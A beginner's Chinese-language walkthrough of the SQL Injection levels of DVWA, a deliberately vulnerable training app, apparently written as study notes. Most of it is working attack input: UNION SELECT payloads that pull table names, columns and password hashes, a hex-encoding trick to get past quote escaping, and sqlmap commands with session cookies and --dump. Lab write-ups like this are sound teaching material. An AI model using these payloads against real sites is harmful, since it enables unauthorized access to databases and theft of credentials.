DVWA通关笔记(一)
SQL Injection
LOW
1.寻找注入点
?uid=1'
----------------页面报错
?uid=1’ --+
------------------页面正常
则为单引号闭合
2.判断列数
?uid=1' order by 3--+
--------------------------页面报错
?uid=1' order by 2--+
--------------------------页面正常
则有2列
3.判断回显显示位置
?uid=-1' union select 1,2 --+
----------------------执行失败
**原因:**提示缺少一个单引号闭合,在最末尾添加一个单引号即可
关于SQL注入的注释符问题:
--a,–空格,–+,#,–%20,%23,末尾引号闭合
+在sql中被认为是空格的意思,等同于–空格
注意:区别直接在URL中输入–+和在提交框中输入–+!URL中的–+可以被解析,#不行,提交框中直接使用#
提交框是POST请求!URL是GET请求
?uid=-1' union select 1,2#
-----------------------执行成功
有两个回显位
4.查询数据库名字
uid=-1' union select database(),version() #
------------------------------执行成功
数据库名字为dvwa
版本为5.7.26
5.查询dvwa库中的所有表
uid=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
报错:Illegal mix of collations for operation ‘UNION’
解决方法:
参考https://blog.csdn.net/qq_43665434/article/details/114088565
在mysql中:
use dvwa;
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
修改后上述命令就可以成功执行了。
查询到的表格:guestbook,users
6.查询users表中的列名
uid=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #
---------------------------------执行成功
查询到的列:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.查询user,password信息
uid=-1' union select group_concat(user),group_concat(password) from dvwa.users #
仍旧可能出现Illegal mix of collations for operation 'UNION’的报错,可以直接将phpstudy中的mysql设置为8.0版本
查询到的数据:
user:admin,gordonb,1337,pablo,smithy
password:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
password采用md5解密即可
8.SQLMAP注入
sqlmap -u “链接” (注意!连接中是?id=1,不用故意写错)
出现了302重定向,返回了登录页面--------------------添加cookie解决
登录后抓包,提取数据包中的cookie信息
再在sqlmap中写入
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="提取到的cookie" --batch(自动选择)
成功得到payload
获取数据库名字:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch --dbs
获取dvwa中的表名:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa --tables
获取users表中的列:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users --columns
获取user,password这两列的信息:
sqlmap -u"链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users -C user,password --dump(显示数据)
MEDIUM
1.寻找注入点
该关页面上没有明确的注入点(没有URL,表单提交)
打开页面后此时只有几个选项和提交按钮,为了寻找到注入点,我们可以使用burpsuite
点击提交后发现抓到的数据包请求类型为POST 且请求中有id=1,尝试修改为id=1’ ------------------------------页面报错
id=1' #
--------------------报错
各种尝试后,发现为数字型注入,即不使用符号对数字进行闭合
2.判断列数
id=1 order by 3 #
-------------------------页面报错
id=1 order by 2 #
-------------------------页面正常
列数为2
3.判断回显位
id=-1 union select 1,2 #
--------------------页面正常
两个都是回显位
4.查询数据库名字
id=-1 union select 1,database() #
--------------页面正常
数据库名字为dvwa
5.查询dvwa库中的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
页面报错,原因:
该关的单引号被转义,无法使用
法一:
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
法二:十六进制绕过
在线转换器:http://tool.huixiang360.com/str/hex.php
将dvwa转换为64767761(注意dvwa不用加引号)
在burp中写为0x64767761
即
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
-------------------------执行成功
6.查询users中的列名
table_name='users’同理,将users转化为16进制
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
执行成功
7.查询users中user,password信息
id=-1 union select user, password from users#
------------------执行成功
8.SQLMAP注入
因为无法直接在url中注入,也没有表单提交,只能将burp中抓到的包保存在sqlmap同一目录下的txt文件中。
sqlmap.py -r 文件根路径 --batch
……
HIGH
该关点击链接实现跳转,防御了SQLMAP注入,手工注入步骤和之前相同
sqlmap实现注入待补充
新手小白 部分内容可能过于绝对 不是很严谨